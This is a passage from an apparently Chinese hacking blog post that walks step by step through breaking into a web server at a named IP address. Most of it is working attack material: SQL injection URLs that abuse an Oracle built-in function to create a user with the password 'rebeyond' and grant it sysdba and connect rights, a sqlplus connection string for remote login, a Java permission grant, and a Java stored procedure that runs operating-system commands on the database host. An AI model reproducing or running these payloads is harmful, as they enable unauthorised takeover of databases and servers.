
继续提交
select member from v$logfile where rownum=1
获得操作系统版本,如图

确定是windows,下面查看服务器sid,提交select instance_name from v$instance,如图

待会远程连接要用的,下面确定下主机ip,telnet 漏洞页上显示的ip地址的1521端口,为oracle的端口, ,成功,1521开放,下面就本地架设个oracle客户端,利用oracle的那些默认帐号密码登录,尝试n次均失败告终,管理员安全意思不错,表扬下!^.^
下面就利用oracle的内置函数sys.dbms_export_extension.get_domain_index_tables过滤不严的漏洞,至于这个函数的具体漏洞形成的原因,这里就不占篇幅了,想知道的可以去我博客,对oracle不熟悉的可以跳过这一部分,继续构造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''create user rebeyond identified by rebeyond'''';end;'';end;--','sys',0,'1',0)=''--;
这里讲解下,and后面把函数求逻辑或然后与空比较,这样系统会先求函数值,便会执行我们构造在函数里的语句,这样就往数据库加了个用户名为rebeyond密码为rebeyond的用户,然后执行
http://211.154.103.15/server2.asp?wen=四川省' and ''||sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''grant sysdba to rebeyond'''';end;'';end;--','sys',0,'1',0)=''--
便把我们建的用户加为dba权限,下面赋予用户远程连接权限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''grant connect to rebeyond'''';end;'';end;--','sys',0,'1',0)=''--
,好了,下面远程连接!
● 峰回路转
本以为建了dba权限的用户,远程连接继续拿权限就完了,但是当我以dba身份登录时却出现这个,如图:

百度了下才知道是服务器那边配置的问题,由于是服务器端的问题,一时不好解决,就暂时先用normal方式登录,连接成功,进去去权限设置那把权限能勾的都勾上,如图:

因为我们毕竟是dba权限的,虽然没以dba方式登录,但是除了开关数据库,其他权限还是都有的,然后就是想办法提权拿服务器,虽然oracle不支持xp_cmdshell直接执行系统命令,但是对pl\sql的支持是非常另人激动的,因为可以通过建立java存储过程来执行命令,注意这时建完shell后要对数据库用户赋予对磁盘文件操作的权限(在sqlplus里执行):
call dbms_java.grant_permission('rebeyond','java.io.filepermission','c:/a.txt','read,write');
。cmd打开sqlplus(和oracle客户端一起安装的),输入sqlplus /nolog,然后输入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(service_name=orcl]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(service_name=orcl[/email])));
是不是用到了我们前面爆出的服务器sid呢,hoho,连接成功,下面开始执行命令,创建java存储过程,代码如下:
java存储过程:
create or replace and compile
java source named "util"
as
import java.io.*;
import java.lang.*;
public class util extends object
{
public static int runthis(string args)
{
runtime rt = runtime.getruntime();
int rc = -1;
try
{
process p = rt.exec(args);
int bufsize = 4096;
bufferedinputstream bis =new bufferedinputstream(p.getinputstream(), bufsize);
int len;
byte buffer[] = new byte[bufsize];
// echo back what the program spit out
while ((len = bis.read(buffer, 0, bufsize)) != -1)
system.out.write(buffer, 0, len);
rc = p.waitfor();
}
catch (exception e)
{
e.printstacktrace();
rc = -1;
}
finally
{
return rc;
}
}
}
发表评论